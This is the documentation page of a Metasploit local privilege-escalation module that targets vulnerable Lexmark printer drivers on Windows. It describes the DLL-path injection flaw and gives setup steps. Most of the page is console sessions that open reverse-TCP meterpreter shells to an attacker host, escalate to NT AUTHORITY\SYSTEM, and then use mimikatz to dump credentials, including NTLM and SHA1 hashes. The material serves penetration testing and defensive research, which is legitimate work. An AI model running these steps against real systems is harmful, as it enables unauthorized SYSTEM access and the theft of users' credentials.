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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/local/lexmark_driver_privesc.md
Views: 11789

Vulnerable Application

Various Lexmark Universal Printer drivers as listed at advisory TE953 allow low-privileged authenticated users to elevate their privileges to SYSTEM on affected Windows systems by modifying the XML file at C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl to replace the DLL path to unires.dll with a malicious DLL path.

When C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs is then used to add the printer to the affected system, PrintIsolationHost.exe, a Windows process running as NT AUTHORITY\SYSTEM, will inspect the C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl file and will load the malicious DLL from the path specified in the file, which will result in the malicious DLL executing as NT AUTHORITY\SYSTEM.

Once this module is finished, it will use the prnmngr.vbs script to remove the printer it added.

Driver Installation Steps

  1. Download the vulnerable driver from https://github.com/rapid7/metasploit-framework/files/6941669/LMUD1o40.zip

  2. Extract the LMUD1o40.cab file from the zip.

  3. Use 7Zip to extract the contents of the LMUD1o40.cab file to a new directory. Do not use Window's default extraction tool, as it will not extract the files correctly.

  4. Browse inside that directory and find the LMUD1o40.inf file, right click it, and click Install.

  5. Accept the UAC prompt, then after a few seconds you should get a message stating the driver installed successfully.

Verification Steps

  1. Install a vulnerable Lexmark driver using the instructions at Driver Installation Steps.

  2. Start msfconsole

  3. Get a session with basic privileges

  4. Do: use exploit/windows/local/lexmark_driver_privesc

  5. Do: set SESSION <sess_no>

  6. Do: run

  7. You should get a shell running as SYSTEM.

Options

DRIVERNAME

Set DRIVERNAME to the specific Lexmark driver to attempt to exploit. The module will verify the driver is present. Example:

set DRIVERNAME Lexmark Printer Software G2 XL

Scenarios

Lexmark Printer Software G2 XL v2.2.0.0

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.9
lhost => 10.0.0.9
msf6 exploit(multi/handler) > set lport 1270
lport => 1270
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.9:1270
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Meterpreter session 1 opened (10.0.0.9:1270 -> 10.0.0.8:51814) at 2021-08-10 18:07:31 -0400

meterpreter > getuid
Server username: MOURNLAND\lowlevel
meterpreter > sysinfo
Computer        : MOURNLAND
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > set session 1
session => 1
msf6 exploit(windows/local/lexmark_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > set lhost 10.0.0.9
lhost => 10.0.0.9
msf6 exploit(windows/local/lexmark_driver_privesc) > set lport 1271
lport => 1271
msf6 exploit(windows/local/lexmark_driver_privesc) > check

[*] Lexmark driver published at oem3.inf
[*] Lexmark driver published at oem12.inf
[*] Found 2 possible options:
[*] 	Lexmark Printer Software G2
[*] 	Lexmark Printer Software G2 XL
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Printer Software G2"
[*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
msf6 exploit(windows/local/lexmark_driver_privesc) > set DRIVERNAME Lexmark Printer Software G2 XL
DRIVERNAME => Lexmark Printer Software G2 XL
msf6 exploit(windows/local/lexmark_driver_privesc) > run

[*] Started reverse TCP handler on 10.0.0.9:1271
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Lexmark driver published at oem3.inf
[*] Lexmark driver published at oem12.inf
[*] Found 2 possible options:
[*] 	Lexmark Printer Software G2
[*] 	Lexmark Printer Software G2 XL
[*] The user selected driver was in the driver store
[!] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
[*] Adding printer dgvUKSrm...
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Meterpreter session 2 opened (10.0.0.9:1271 -> 10.0.0.8:51830) at 2021-08-10 18:09:29 -0400
[*] Deleting printer dgvUKSrm
[*] Meterpreter session 3 opened (10.0.0.9:1271 -> 10.0.0.8:51831) at 2021-08-10 18:09:31 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Lexmark Universal Printer v2 - version 2.10.0.5 On Windows 10 v1903

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.224.194:4444
[*] Sending stage (200262 bytes) to 192.168.224.194
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.224.194:4444) at 2021-08-11 14:09:19 -0500

meterpreter > getuid
Server username: DESKTOP-O7MJD36\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > show options

Module options (exploit/windows/local/lexmark_driver_privesc):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DRIVERNAME                   no        The name of the Lexmark driver to exploit
   SESSION                      yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows


msf6 exploit(windows/local/lexmark_driver_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/lexmark_driver_privesc) > set LPORT 8877
LPORT => 8877
msf6 exploit(windows/local/lexmark_driver_privesc) > check

[*] Lexmark driver published at oem9.inf
[*] Found 1 possible options:
[*] 	Lexmark Universal v2
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Universal v2"
[*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
msf6 exploit(windows/local/lexmark_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > show options

Module options (exploit/windows/local/lexmark_driver_privesc):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DRIVERNAME                   no        The name of the Lexmark driver to exploit
   SESSION     1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT     8877             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows


msf6 exploit(windows/local/lexmark_driver_privesc) > exploit

[*] Started reverse TCP handler on 192.168.224.128:8877
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Lexmark driver published at oem9.inf
[*] Found 1 possible options:
[*] 	Lexmark Universal v2
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Universal v2"
[!] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
[*] Adding printer dGJvF...
[*] Deleting printer dGJvF
[*] Adding printer dGJvF...
[*] Sending stage (200262 bytes) to 192.168.224.194
[*] Sending stage (200262 bytes) to 192.168.224.194
[+] Deleted C:\Users\test\AppData\Local\Temp\AqMVx.dll
[*] Meterpreter session 2 opened (192.168.224.128:8877 -> 192.168.224.194:56007) at 2021-08-11 14:10:56 -0500
[*] Meterpreter session 3 opened (192.168.224.128:8877 -> 192.168.224.194:56016) at 2021-08-11 14:10:57 -0500
[*] Deleting printer dGJvF

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege

meterpreter > load kiwi
Loading extension kiwi...c
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain           NTLM                              SHA1
--------  ------           ----                              ----
test      DESKTOP-O7MJD36  0cb6948805f797bf2a82807973b89537  87f8ed9157125ffc4da9e06a7b8011ad80a53fe1

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
DESKTOP-O7MJD36$  WORKGROUP        (null)
test              DESKTOP-O7MJD36  (null)

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
desktop-o7mjd36$  WORKGROUP        (null)
test              DESKTOP-O7MJD36  (null)


meterpreter > sysinfo
Computer        : DESKTOP-O7MJD36
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >